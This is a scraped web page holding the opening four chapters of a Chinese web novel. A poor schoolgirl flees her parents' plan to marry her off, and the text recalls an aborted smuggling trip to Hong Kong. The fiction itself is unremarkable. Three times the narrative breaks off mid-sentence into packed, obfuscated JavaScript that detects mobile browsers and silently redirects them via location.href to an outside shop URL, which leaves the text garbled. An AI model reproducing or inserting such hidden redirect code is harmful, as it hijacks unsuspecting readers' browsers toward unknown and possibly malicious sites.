《女大佬她又狠又油》 1. 拜拜了初恋 南粤的夏天,地面像蒸笼一样滋滋冒着热气。玻璃门上贴着大大“冷饮”的新世纪茶餐厅,成了周围一带学生的避暑胜地。 服务员慢悠悠送来两杯薄荷冰,麦丽娜将一杯推到郭允晟面前。 “今天我请客,你还要点什么?”未等对方回答,她热情地一挥手:“来份蚝油捞面!” 郭允晟忙摆手:“不用,我刚吃过饭。” “没事,给你庆祝一下。”麦丽娜按下他白皙修长的手,“考了780分,又是全班第一!人怎么可以那么聪明?接下来去港大还是中大?” 郭允晟脸上喜庆一闪而过,扫了眼对方过时的旧衣服、黑黝黝脸上一双过分真诚的眼睛,他很快将自己的得意掩饰下来。 “你考了多少?” “别提了。”麦丽娜淡淡一笑。 郭允晟沉默了一下。“你人挺聪明的,再复读一年肯定能考上好大学。我的笔记可以给你,参考书也给你,你有什么问题,以后可以打电话问我。” “不用,不用。” “大家都是同学,我也理解你的情况。”郭允晟瞥了眼薄荷冰上的雪糕球,觉得自己作为班长,有义务拉一把这个贫困生。“一时的困境不能成为放弃自我的理由,越是困难越是要坚持。” “你真好,不愧是人人都喜欢的郭大才子。”麦丽娜扑闪着眼睛,积极地将刚上的蚝油捞面往郭允晟面前推,“快吃,趁热。” “我真的饱了。你吃吧。”郭允晟瞟了眼粗制滥造的捞面,实在提不起胃口。 “那我就不客气了。”话音还未落地,筷子便已嗖嗖地将面条扒拉到自己碗里,狼吞虎咽起来。 郭允晟暗暗叹了口气。毕业了,这才第一次跟麦同学近距离接触,连她脸上的汗渍和青春痘都看得一清二楚。与那些敏感的贫困生不同,麦丽娜可以持续三年没皮没脸地贴着有钱同学,从他们指缝里抠点好处。 郭允晟心想,这人出社会肯定能干一番事业。 茶餐厅的收音机放着任贤齐火遍全国的《心太软》,郭允晟不自觉地跟着哼“你总是心太软,心太软……” 麦丽娜很快吃完,抹抹嘴,不舍地将眼神从剩下的半碟捞面中拉回。“诶,你暑假出去玩吗?” “外面这么热,有啥好玩的?” 麦丽娜露出个赞同表情,“听说你家奖励两千块,还有学校也给你奖励了?” 郭允晟轻描淡写地嗯了一声,“上大学要配置部电脑,我打算把钱都用来买台式,至少要花五千块。” 麦丽娜暗暗吃惊,有钱人,一出手就是五千。“挺好,挺好。”她点点头,突然伸长脖子凑近他,“跟你说个事。” 郭允晟微微后仰,警惕地问道:“怎么了?” “我……”麦丽娜脸上表情变得凄戚,犹犹豫豫地吐露:“我把复读的钱弄丢了。” “什么?!” “不怕跟你讲,你也看出我家情况,种地换那点钱都不够吃的,我姐早就没读了,我弟又上初中,到处都要花钱。我爸本来不想我再读的,是我妈举着农药逼他同意……” 麦丽娜眼圈瞬间红了,声音也哽咽起来:“他们把辛苦借来的钱给我,让我拿去学校缴费——可我一不留神,钱被人偷了!” 见郭允晟愣住,麦丽娜低低地吸了一口气,鼓起勇气乞求道:“你可不可以借我一点?” “这……我……” “我不敢跟他们说,几千块要他们命的!我没办法了,我真的没办法了!”麦丽娜一把抓住他的手,“我不知道谁还能帮我?想来想去只有你了!你人好、成绩好、家境好,如果连你都见死不救,我只有死路一条了!” 麦丽娜激动地起来要给他下跪,高中生郭允晟哪见过这种场面,一脸涨得通红,手忙脚乱地扶住她,“别这样,你要多少?” “借我两千吧!我再向其他人借点……”麦丽娜眼含热泪望向他,“你放心,这钱我一定会还的!就算以后找不到你,就算你出去留学了,我也把钱一分不少还到你家里!” 两千可不是笔小钱,对小县城的人来说是两三个月工资了。郭允晟沉沉地呼出一口气,摸了摸裤袋中的银行卡,“行吧,我带你去取。” 麦丽娜直起腰,向店里大喊一声:“老板!买单!” 去往银行的路上,郭允晟回想刚才发生的事,总感觉哪里不对劲。 “你在哪里被偷的?” “可能在车上,也可能在街上。” 身旁的麦丽娜内疚地说,“我把钱装在信封里,放在书包里层,没想到竟然被扒手割开了!一直去到学校缴费处才发现!” “这年头偷东西的、抢劫的确实猖狂,新闻说国家下决心加大治安整顿力度,到目前为止还未看出效果。”郭允晟连体谅的话充满了高考政治的味道,“你报警了吗?” “报警有什么用?有几个找得回的?”麦丽娜摆摆手,“运气不好,偷了就偷了。” “不是的!” 郭允晟停下脚步,“必须报警!报了警,以后抓到人,你的钱还有可能要回来!就算要不回来,也得让警察们知道,车上或者街上有扒手!” “别费劲了。”麦丽娜环顾四周,“时候不早了,早点去银行,不然关门了。” 郭允晟皱起眉头,“银行可以明天去,我答应你的不会反悔。但这个警必须得报,你跟我去派出所!”说完就抓起她手臂调转方向。 “别——我没有身份证!” “没有身份证也可以报警!” 郭允晟手上力大无穷,麦丽娜挣扎不开,“不行不行,太晚了,别去报警,别去……你放开,大街上的,不好看……” 街上注目的人越来越多,郭允晟无动于衷,无论麦丽娜说什么,他都不放手。麦丽娜猛地一挣,脱开了郭允晟的钳制。“不借就不借,用得着搞这出吗?” “你是受害者你怕什么?”郭允晟目光锐利地盯住她。 麦丽娜无语,转身就走。 “不要钱了?”郭允晟掏出银行卡,在麦丽娜背后摇晃。 麦丽娜转回来,目光落到那张绿色的银行卡上。 “跟我说实话,马上取钱给你。” “实话?”麦丽娜冷笑,“实话谁爱听。”她深深看了眼郭允晟,向他摆了摆手,突然转身决绝地离开。 这就完事了?郭允晟愣了愣,一顿小跑追上她。 “你是不是遇到什么困难了?”他不甘心地问。 “啥困难?大才子,别小说看多了乱猜,我就想要点钱暑假去玩玩,这么大还没出过城呢。”麦丽娜斜了他一眼,“农民家里不大方,你们这些天之骄子也不大方。” “你跟谁去玩?该不会只有你一个人吧?” 麦丽娜嫌烦,加快脚步。 “你在说谎。”郭允晟步步紧追,“这时候你不去打暑假工而去外面玩,跟你的家庭情况不符。”他走前一步,再度用力抓住她的手臂,“你家里人呢?” 两个小年轻在街上拉拉扯扯,很快就惹来一批好事的人围观。 “关你什么事?管这么多干嘛?”麦丽娜甩开他手,着急想走。郭允晟二话不说挡住她去路。在他看来,这位女同学明显要步入歧途,他有义务要制止她。 “娜娜!”忽然不远处有人喊了一声,麦丽娜一看,一张脸倏地煞白。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317731|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一名满脸沧桑的阿姨迈着小步赶过来,麦丽娜再也不客气,一把推开郭允晟,转身疾走。 郭允晟踉跄一下,不知好歹地又跟了上去,像牛皮癣一样贴在她身后:“那不是你妈吗?之前在家长会看过,我认得。你害怕什么?” 麦丽娜不说话,走得更急了。 “娜娜!你别走啊!”麦母指着她背影,“你等等我!” 郭允晟头脑一热想拦住麦丽娜,看她那着急又恐惧的样子,又把手缩了回来,只在嘴上恐吓道:“麦丽娜,你再不跟我说清楚,我就把你交给你妈!” “说什么,说她把我卖给一个寡佬当老婆?”麦丽娜不耐烦地边疾走边说,“好不容易偷跑出来,想问你借点钱跑路,叼,钱没借到就被发现了!” 郭允晟说不出话,快要跨世纪了,卖女儿这种事怎么还有?她在说谎吗?看样子不像,要是真的怎么办? 麦丽娜见他发愣,夺过他的银行卡就跑。 “哎呀呀!别跑!麦丽娜你站住!”麦母反应比郭允晟快,撕开嗓子大喊,“大家快帮我抓住她,我女儿要离家出走!” 围观的人全看过来,麦母摆起手臂追,一些好事的人跟在后面跑。郭允晟反应过来,也跟着跑。 大街上,麦丽娜一人领先抢跑,后面紧跟着气势汹汹的一大群人。 郭允晟明明可以追上她的,却不想成为捉拿同学的罪魁祸首,他不紧不慢跟在后面,心里一点都不急,心想反正最后银行卡会交还到他手上。 果然,一个摩托佬截住麦丽娜,麦母上前甩手就是一巴掌,麦丽娜整个头被打到一边,她没什么吃痛的表情,回过头来奋力挣扎。 “让你跑,让你偷钱跑!”麦母使劲拧女儿胳膊,“家里到处找你,你爸急得都发病了!” “你谁呀!”麦丽娜突然抬头,眼神憎恶,“我不认识你!” 麦母一愣,那些围住麦丽娜的人将惊疑不定的目光转向她。麦丽娜趁机挣脱重围,却被麦母扯住衣领,背部露出一截,郭允晟瞥到几道可怖的伤痕,顿时心下一沉。 “别碰我,人贩子!连我名字都叫不出来还想扮我妈!” 麦丽娜可怜兮兮地扑向截住她的摩托佬,指着麦母急急道:“她是人贩子,快把她送去派出所!” “麦丽娜!我拿命养你十八年,你这样对我!” 麦母气急攻心,一手捂住胸口,一伸向麦丽娜,“赶紧跟我回家,别在这里丢人现眼!” “救命啊,人贩子要抓人了!” 麦丽娜不嫌事大,突然尖叫起来,恐惧地往人后躲,“我不认识她,我不叫这个名字!” 那时候的人还是有正义感的,两个高大男人挡住麦母,恶狠狠地瞪她一眼。 “大家别听她瞎说!我这女儿从小爱撒谎!你们不信……看我怎么戳穿她……” 麦母恼怒地四处张望,一眼看见外面站着的郭允晟,像得救般朝他大力招手:“那个同学——你来作证!对!就是你!” 三好学生郭允晟不知道这时候该说谎还是老实交代,迟疑地挪着脚步。 趁大家注意力转移的瞬间,麦丽娜像条小鱼从人墙的缝隙中滑走,朝着路口方向撒腿猛奔。 四五线小县城的路口,常有长途大巴上落客,等人们发现她意图的时候,她已冲向临时停靠的大巴。 “停下!停下!停……”一行人闹哄哄地追过去,那辆标注着“广州”的大巴已然开出。 麦母跑了一会,抖着腿骂骂咧咧地停下喘气。郭允晟一直赶着车尾,一边跑一边重复喊着六个数字。 也不知道她听见了没有,大巴就这样开走了。 2. 来到大城市 “身份证?” 跟车的售票员摇摇晃晃走到麦丽娜面前,居高临下地伸出手。刚才那幕她看见了,为了闲事少管她可以当做没看见,但如果这女孩是抢劫、偷钱、诈骗……而逃跑上车的,售票员将第一时间通知警察捉人。 “身份证?”售票员又问了一次,警惕的目光将麦丽娜从头扫到脚。 “哦,哦。”惊魂未定的女孩回过神来,在身上左掏掏右摸摸,就是忘了放哪。 售票员扶着前面的座椅后背站着,静静看她表演,寻思是报警还是直接将她赶下车。 “坐车必须要身份证吗?” “废话。没有身份证就下车。”售票员不耐烦,转身招呼司机,正要喊话—— “在这。给你。”麦丽娜像变魔术般递出身份证。 售票员不知道她怎么变出身份证,狐疑地将上面的照片和本人核对了好几遍。 麦丽娜坦然地看向售票员,还向对方硬挤出一个微笑,“刚才太紧张了,忘了放哪。”不过她很快笑不出来——售票员将身份证还给她,“一百二。” “什么?!” “车票,120块!” “什么时候涨价的……不是80吗……”麦丽娜嘀咕着,从鞋里掏出几张皱巴巴的人民币,数了两遍,将钱凑够了,交过去换了张薄薄的车票。 “三年前才80。”售票员捏着那还存有体温的钱,鄙夷地放进腰包里,随手扔给她一个黑色塑料袋。 “干嘛用的?” “吐这。”售票员不愿多说一句,摇摇晃晃回到车头的折叠凳坐下。 麦丽娜扫了两眼四周,见没人注意,放心地将剩下的几十块钱藏回鞋底,现在她一只脚踩着钱,另一只脚踩着身份证和银行卡,稳稳的很安心。 大巴开在国道上,一路颠簸。后座陆续有人呕吐,酸臭味混着汽油味在密闭的车厢里发酵。乘客们皱着眉头捂着鼻子,个个痛不欲生。 只有麦丽娜始终露着微笑。她靠着车窗,任由那股味道钻进鼻腔,甚至觉得这颠簸像摇篮一样让人安心。 三年前,那时的大巴还没有免费送赠黑色塑料袋服务,国道也没有这么快捷顺畅,从她那村的汽车站开去广州要六、七个小时。 那个夏夜,她坐得笔直,整个人贴在车窗上,眼睛瞪得溜圆,恨不得把窗外每一棵树都看清楚。 “七叔,广州有多远?” “快了,睡一觉就到。” “广州有电视里那么高的大楼吗?” “有,比电视里还高。” “广州人说话我能听懂吗?” 七叔笑呵呵地拍她脑袋:“你不是天天看翡翠台吗?” 那是1996年的夏天,她刚考完中考。麦母破天荒地说:“考完了,让你七叔带你去广州见见世面。” 她兴奋得一晚上没睡着,对着镜子,将亲戚传下的旧衣挑了又挑,选中了一件的确良碎花衫,还偷偷往内裤里塞了两块钱——听说广州有自动售货机,她要试试。 车开了一夜,天亮时进了广州。 麦丽娜只在电视上见过那么多楼,一栋挨着一栋,高的能戳破天,玻璃外墙亮得晃眼;路宽得她都不敢过,车流像河水一样哗哗地淌;到处都是人,西装革履,走得飞快,好像每个人都有要紧事。 她紧紧跟在七叔后面,生怕走丢。七叔熟门熟路,穿过几条街,拐进一间亮堂堂的店里。 “到了,请你吃麦当劳。” “麦当劳!” 麦丽娜抬头看那块金拱门招牌,心跳快了几拍。这可是麦当劳!电视天天卖广告的麦当劳!汉堡里有三层肉的麦当劳! 她推开门,一股冷气扑面而来,混着炸薯条的香味。那醒目、红与黄的标志性装修,让她一下子置身于电视里才有的快乐场景,连播放的音乐都欢快轻盈,不是小镇上撕心裂肺的伤心情歌。 正是午饭时间,店里排着长队。 麦丽娜跟着表叔站到队尾,东张西望。有个小孩端着餐盘从她身边过,盘子里一个汉堡、一包薯条、一杯可乐。那小孩比她弟还小,一个人坐着吃,旁边没有大人。 城里小孩可真享福,她想。 轮到她了。七叔说:“想吃什么自己点。” 她抬头看那块密密麻麻的菜单牌子,全是字,可组合起来不知道什么意思。后面的队伍还在往前挪,她急得手心冒汗。 “靓女,食咩?”柜台里穿制服的女孩催她。 麦丽娜张了张嘴,又合上,她懂粤语,但怕一开口,人家就知道她是乡下来的。 “来个巨无霸套餐啦。”七叔在旁边说。 那女孩看了她一眼,眼皮都没抬,低头按收银机。 麦丽娜脸烧起来。那一眼她看懂了——是那种城里人看乡下人的眼神,不是凶,是懒得看你。 她攥着那两块钱,没拿出来。 那个眼神她能记一辈子。 “咱们去找空位吧。” 七叔带着她端着餐盘找位置,盘子里的汉堡比她拳头还大,薯条金黄,可乐杯上凝着水珠。 找到位子一坐下,她便小心拿起汉堡,迫不及待地咬下去—— 哇,怎么会有这么奇怪的味道?她差点吐出来,这酸酸的,咸咸的,又甜甜的是什么? 那时候她还不知道沙拉酱,只知道七叔和周围人都留意着她,她不能出丑。而且那个套餐还贼贵,要28块8,换算成家里的米和鸡蛋……这一顿饭,够她妈骂三天。 她硬生生地啃完那个反胃的巨无霸,还要保持享受的笑容。“七叔,你们平时都吃这个吗?” “哪能?”七叔已经在外面打工了十年,可仍然很年轻,“我们都吃盒饭,一个8块钱,里面有烧鹅。” “烧鹅?”麦丽娜瞪大眼睛,那可是逢年过节才上桌的,“你们打工的都吃这么好吗?” “这有啥?广州到处都是这种。你以后打工就知道了。” “对面村阿珍,初中毕业去东莞,做两年回来盖了楼。这是真的吗?” “当然是真的。”七叔的笑容有点古怪。 “那你怎么不回来盖楼?” 七叔哈哈笑,“我也想,但我没那个本事。” 麦丽娜慢慢放下擦嘴的纸,“七叔,我妈让我来广州,真的是让我见世面吗?” 七叔反问:“你不喜欢吗?” “喜欢。但是有点害怕。”麦丽娜坦白说。 “其实你爸妈对你挺好的,我那时候……哪有这种待遇?”七叔苦笑了一下,结束这场谈话,“走!带你去外面逛逛!” 吃完饭出来,七叔带她在街上走了很久,什么爱群大厦、什么中信广场,她一个没记住。满眼是高楼、霓虹灯、自动扶梯、玻璃橱窗里的假人穿着她叫不出名字的衣服。 一个和她差不多大的女孩,穿着白色校服裙,背着一个干干净净的书包,和同学手挽手走进一间书店。那女孩笑着,露出整齐的牙齿。 麦丽娜低头看自己的碎花衫,脚上那双粉红的老旧凉鞋,鞋面上有一道裂口,她用透明线缝过,每次走路都割得她脚疼。 七叔拉她过来,却没看她,“不用羡慕她们,你有了钱,买什么不行?” “可是我初中才毕业,我什么都不会。” “这有啥关系?”七叔低头打量了眼她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317732|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你会洗碗吧?” 麦丽娜点头,“家里的碗都是我洗。”她又赶紧补充了一句:“地也是我拖。” “阿娟你认识吧?大八村的阿娟。她去香港洗盘子,一个月六千。” “六千?!”麦丽娜不敢相信,“这么高吗?那不是天天能吃烧鹅?” 七叔哈哈大笑,“你想不想去?” 就在那一瞬间,麦丽娜愣了愣,忽然明白了家里资助她出来见世面的原因。 她站在广州的街头,脸上还挂着15岁的稚嫩懵懂,却做着人生中最重要的决定——是回那村子过吃土的生活,还是去异国他乡洗盘子,用青春换金钱? 她经常看香港台,那是个纸醉金迷的地方,那里的人很有钱,女孩子18岁就去选美,然后当明星。她知道自己不可能,她们这种人连合法身份都没有,去打工的人都像过街老鼠一样东躲西藏。 “不管干什么,都比在家里等死强。”无需多久,麦丽娜便得出答案,“我去。” 七叔诧异地看向她,没想到她这么容易想通,她父母还千叮万嘱一路要好好劝呢。 “年纪小小的,还挺有主意。你就算不去,去镇上的刀具厂打工,一个月五六百,干两年攒点钱,回来嫁人,还不如去香港呢。” “那得感谢我爸有远见。”麦丽娜语气不像开玩笑,“去香港要花很多钱吧?” 七叔含糊地“嗯”了一声,挥挥手。“过两年你就赚回来了。” 第二天,七叔带她坐上了中巴。原来广州真的只是观光旅游的,并不是目的地。 窗外的风景渐渐变了,田野少了,厂房多了,路上的摩托车像蝗虫一样窜来窜去。天色灰蒙蒙的,气压很低。 中巴在一个乱糟糟的路口停下来,七叔拉她下车。四周全是人,背着大包小包,有人蹲在地上吃盒饭,有人躺在报纸上睡觉,还有小孩在哭。路边是一排铁皮棚子,卖水的、卖烟的、卖电话卡的,喇叭里放着粤语歌,混着各种方言的喊叫声。 “这是哪?”麦丽娜问。 “布吉。”七叔没多解释,拉着她穿过人群,拐进一条窄巷子。 麦丽娜心脏砰砰地跳,她不是没听过偷渡的故事,但没想过自己会变成故事的主人公。她有点害怕,又有点期待,像做坏事的新手,提心吊胆、左顾右盼地走着每一步。 巷子里安静多了,两边是握手楼,抬头只能看见一条细细的天。七叔在一栋楼前停下,敲了敲铁门,上面开了一扇小窗,露出一双眼睛。 “阿贵,是我。” 铁门开了。 进去是个昏暗的客厅,几把塑料凳子,一张茶几,烟灰缸里堆满烟头。一个精瘦的男人坐在那里,脖子上挂着一条粗金链,看见麦丽娜,上下打量了一眼。 “就这一个?” 七叔点点头。 阿贵站起来,两人走到旁边的小房间说话。 麦丽娜坐在塑料凳上,听不清里面说什么,只隐约听到片言只语—— “……被水警逼的,全跳了。” “三十几个,就回来两三个……” “……风头紧,不好弄……” 麦丽娜还小,听不懂他们说话是什么意思,也意识不到“全跳了”有什么可怕。她瞥见小房间的门缝里,七叔弯着腰,使劲往阿贵口袋里塞什么东西,嘴里说着:“……吃不上饭了,家里孩子多,没办法,拜托你……” 她有点茫然。 说的是她家吗? 过了一会儿,七叔走出来,脸上的表情看不出是成了还是没成。麦丽娜刚想问,七叔却走近一步,认真地看着她: “你会不会游泳?” 3. 去香港打工 这时还是下午,日光仍在,但自建房的一楼总是潮湿阴暗无比。七叔带她上楼。 楼梯窄得只能容一个人,水泥台阶磨得发亮,墙角堆着纸皮和空瓶子。二楼是一排铁皮门,七叔推开其中一间,里面只有一张床、一台摇头扇,窗户用旧报纸糊着,透进来的光昏黄昏黄的。 “待着别出去。”七叔把门带上,点了根烟,靠在窗边往外吐烟。 麦丽娜坐在床边,床单有股潮湿的霉味。她忍不住问:“七叔,我们要在这等到什么时候?” “天黑。”七叔没回头,“阿贵带你们过去。” 麦丽娜愣了一下:“啊?你不去吗?” 七叔转过头,似笑非笑地看着她:“我去干吗?我去了,你爸妈那边谁报信?” 麦丽娜想说“可是”,但还是乖巧地闭上嘴。 过了一会,她突然说:“我还没办边防证。” “懂得可真多呀,边防证你也知道。”七叔回过头,挺意外地看着她,“你猜为什么要等天黑?天黑了别人看不见,阿贵才能带你们翻铁丝网、钻涵洞进去关内。” 麦丽娜有点懵,“什么关内?” “我还以为你知道!” 七叔想了想,简单解释说:“深圳分两半,这边是关外,那边是关内。关内才挨着香港。想进关内,得有那张证。没有,就只能偷着过。” 麦丽娜“哦”了一声。 “等过了关,阿贵就会带你们去坐船。” “这个我知道。” 偷渡,偷渡,不坐船怎么叫偷渡? “坐船要多久?”麦丽娜又问。 “阿贵有经验,听他的就行。” 七叔顿了一下,弹了弹烟灰,没有正面回答。房间里安静了一会儿。楼下传来摩托车声、人声、不知道哪家放的电视声,闷闷的混在一起。 “七叔,”麦丽娜又开口,“坐船要多久?” 七叔低低呼出一口气,“看情况。” “什么情况?”麦丽娜穷追不舍。 “风浪,水警,都有。”七叔的声音听不出情绪,“快的话一两天,慢的话三五天,忍一忍,很快就过去了。” “遇到水警怎么办?” 七叔有点不耐烦,“那你就拼命游!被逮到要遣返,还要坐牢!” 麦丽娜怔了怔,她记得刚才明明回答了那个问题——“她不会游泳”,七叔是没在听还是故意回避这个问题? 她顿时感觉到一阵害怕,想起那冰冷海面就浑身发冷,她可不想这么年轻就殒命海中。 刚刚还对去香港充满了期待,一下子消退了大半,她吃不准,该不该为自己的命运拼这一遭? 七叔把烟头按灭在窗台上,转过身,从裤兜里摸出几张皱巴巴的钱,数了数,递给她。 “拿着。路上用得着。” 麦丽娜接过来,是几张十块的,一共五六十。她攥在手里,抬头看七叔。 七叔没看她,嘴里念叨着:“坐大飞要五千,你爸就给了两千,这一路花销还是我贴的。到了那边,自己机灵点,别什么都指望别人。” “七叔!”此刻的她亟需壮胆,她抢着问:“那边能赚大钱吗?” 七叔已经往门口走了,回过头来敷衍两句:“你要是不想洗碗,去学点英文,去写字楼做文员,一万二。” 麦丽娜愣住。 一个月一万二?这边上班一个月六百? 等她回过神来,七叔已经走出自建房。麦丽娜猛扑到窗户上,隔着窗户的防盗网大喊: “七叔!打电话回家!我不去了!” 七叔让她自己去,她一路跑到路口的铁皮棚子,用那两块钱拨通家里的电话。 电话通了,她兴奋得不得了:“爸,我想读高中!” 老麦在电话那头骂:“发什么疯?读高中做什么?” “读完高中,去香港当文员,一个月一万二!”麦丽娜顿了顿,“到时候,家里盖楼的钱,弟的学费,我全包。” 电话那头沉默了几秒。 “你先回来再说。” 返乡时七叔全程黑着脸,一言不发,将她扔到汽车站就走了。 麦丽娜使劲回忆来时的换乘路线,几经波折,总算回到了农村的家。 她妈难得地没有骂她搞砸事情,反而做了一桌菜,杀了一只大扇鸡做白切,几个人围着饭桌大吃了一顿。 吃完饭她爸抽起烟,开始骂七叔、骂蛇头、骂麦丽娜、骂香港人黑心——给出去的两千块拿不回来,或者不好撕破脸拿回来,他心里非常不爽。 麦丽娜有些内疚,但更多是劫后余生的庆幸。她以为是自己那通电话起了作用,她那傻弟弟大无畏地笑她:“爸是怕你跟那个阿娟一样,跟人跑了!” 原来如此。 在她去到布吉的前一天,阿娟的爸妈到处托人打听,说阿娟失联几个月,怕是出了什么事。 乡亲们围在村口议论,有的说阿娟是跟人跑了,有的说可能是死了,不然怎么这么久没消息。老麦蹲在门槛上抽烟,眉头拧成疙瘩,正犹豫要不要想办法把麦丽娜叫回来,她刚好就打电话回来了。 对于女儿的失而复得,麦丽娜父母压低声音吵了一晚。 “这是菩萨保佑啊,不然你女儿也消失不见怎么办?”麦母开始唠叨, “辛辛苦苦养大的女儿,万一跟阿娟一样,说没就没了,你哭都没地方哭去!” “要不是你眼皮子浅,说什么去打工去打工,她能跑那么远?在家门口找个活干,天天看得见,多踏实!” 老麦把烟头按在地上,抬头看她:“是我眼皮子浅?当初不是你说的,女的读那么多书没用,早点出去赚钱?” 麦母噎了一下,梗着脖子说:“那也不能跑那么远啊!你看看阿娟她妈,眼睛都哭瞎了!” 两口子沉默了一会儿。 麦母忽然开口:“你说她说的那个……读完高中去香港打工,一个月真能赚一万二?” 老麦哼了一声:“你听她吹。香港人钱多,也不是捡的。” “她说是老七说的……” 老麦没回答,又点了一根烟。 过了几天,老麦跟麦丽娜说:“读高中就读高中吧,反正也就三年。” 麦丽娜点头,心里在算:三年高中,然后去香港,做文员,穿西装裙,嫁老板。 她知道班里同学看不起她,她根本不在乎,等他们吭哧吭哧读大学的时候,她已经月薪一万二了。 尽管高一英语考试拿了65分,老师不是讲了吗,“麦丽娜很聪明的,只是心性还没定,基础比较薄弱。”她相信凭借自己努力,高三能考95。到时候,在office里叽里呱啦,老外都要赞她。 可是香港回归后,一切都变了。 97年的夏天,她刚读完高一,电视里天天播香港回归。老师、同学都很兴奋,这可是祖国统一的大事啊。她看着那面米字旗降下来,看着解放军开进去,心里还在想:等毕业了,我也要去,还要在金色紫荆花下拍照。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317733|199003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她那充满远见的爸,此刻也在盘算。 “老七那边有没有消息?”他问麦母。 麦母正在喂鸡,头也不抬:“上次不是说让打听吗,哪有那么快。” 麦丽娜不知道父母葫芦里卖什么药,她预感肯定跟自己有关。 这一等,足足等了小半年,快过年的时候,七叔上门了。麦母特意支开她:“去,买瓶汽水回来。” 她拿着钱跑出家门,直接绕到房子侧边的窗户底下,贴着耳朵偷听。 老麦和他表弟寒暄了一会,很快切到正题上。 “……我问清楚了。回归前,嫁过去还能办单程证,过去就能落户。现在不行了,政策收了,要排队,要审查,要证明是真结婚。假的那种根本过不去,真的也要等好几年。” 老麦皱着满脸的沟壑,默默地抽烟。 “而且那边人现在也精了,知道咱这边想过去,彩礼压得低。打听了几家,开价最高的才三万八,说那边不兴彩礼。”七叔喝了一口茶,把茶叶子“噗”地吐地上。 “都是些什么人?” “两地跑的货车司机,这是最好的;还有五六十岁的、住笼屋的、赌鬼酒鬼,你舍得把阿娜嫁给那种人?” 躲在窗外的麦丽娜巴眨着眼睛,犹如从云端掉落,身上一些东西在刹那间破碎。 她以为父母同意她读高中,是放长线钓大鱼,让她拿高中毕业证去赚大钱,却没想到却是让她嫁人。 她爸在屋里用力拍着大腿,“这事搞得……怎么就行不通了?不是说得好好的吗?”他比麦丽娜还不甘心,“当初你说读高中能抬身价,嫁去香港能拿彩礼,我们才让她读的……” 七叔拍着手背,声音懊恼得很:“是,我是这么说的。拿到香港身份,就能在那边正经打工,不用偷渡冒险,不用打黑工被人克扣,说出去也好听体面,结婚还能收一笔彩礼钱——对她好,对你们也好。” 他顿了顿,叹了口气,“而且多少人就是这么过去的,也没见出什么事,可谁知道这政策说变就变呢?” 当时,老麦一个电话打去问七叔,得知写字楼的文员必须要有香港学历和签证,马上明白农村女娃不可能鱼跃龙门。两人在电话里聊了一个小时,才算出这条路最划算。 只是没想到呀,这条路在回归后没法干了。 她和她父母,都失算了。 老麦吐着烟雾,闷闷地开口:“那现在怎么办?” “老实说吧,回归后那边人选择也多了,要挑长相挑学历。阿娜……这样的,过去也挑不上好的,还不如留在本地,嫁个正经人家,彩礼还能拿多点。”七叔推心置腹地说。 下午的太阳还在晒,麦丽娜后背一阵发冷。 晚上七叔被热情地留下来吃饭,她在席上魂不守舍。 她回忆起在布吉,她嚷着要读完高中去香港当文员,赚一万二一个月——当时七叔就知道不可能。 可他为什么让她回来? 他要是想帮她,为什么还让父母给她物色老公? 她不想问他,带着不解和怨恨,吃完饭的时候,她一声不吭把他送到村外。 七叔扬手说:“别送了,快回去吧。珍惜读书的机会!人机灵点!” 她撇撇嘴,这啥话呀?前后一点都不搭。 春节过后不久,麦母开始往家里带人。 第一个,镇上杀猪的,四十四岁,手上永远有洗不掉的油腥味,死了老婆。第二个,隔壁村的包工头,比第一个年轻点,三十五六,还没娶妻。 4. 还是要嫁人 “朱老板来啦!”那天麦丽娜在堂屋写作业,远远就听到麦母在门口打招呼,“等你老半天了。” “这个给你,不是剩的,是我专门留下来的!”老朱拍拍自己油光满面的脸,“这个部位,最好吃,一头猪就只有二两,外面买都买不到!” “哎呦,那怎么好意思?” “拿着,拿着。”老朱将草绳挂着的一片薄薄的肉塞给麦母,又变出一条双塔递给迎出来的老麦。 “不用不用……”老麦假意推辞了一会就笑呵呵收下,“有心了啊。” 麦丽娜抬头看了一眼,这人四五十的样子,个子不高,肚子挺得老高,走路像只企鹅。脸上泛着油光,鼻子红通通的,像熟透的草莓扣在脸中间。不知是不是脂肪层够厚,大冬天还穿着短裤,小腿上全是毛。 她皱了皱眉,哪里的亲戚,怎么以前没见过? “快进里面坐!”老麦热情将人带进来,对麦丽娜喊话:“见人来了还不打招呼?” 麦丽娜站起来,叫了一声:“叔叔好。” 老朱上下打量她,眼神从脸滑到胸,从胸滑到腰,又从腰滑回脸上,整个过程毫不遮掩。他嘿嘿笑了一声,露出一口黄牙:“叫哥就行,叫哥就行。我这个人显老,其实没比你大多少。” 麦丽娜为难地笑笑。 “你们聊啊。我去买点东西,阿娜你招呼客人。”老麦找个借口走开。 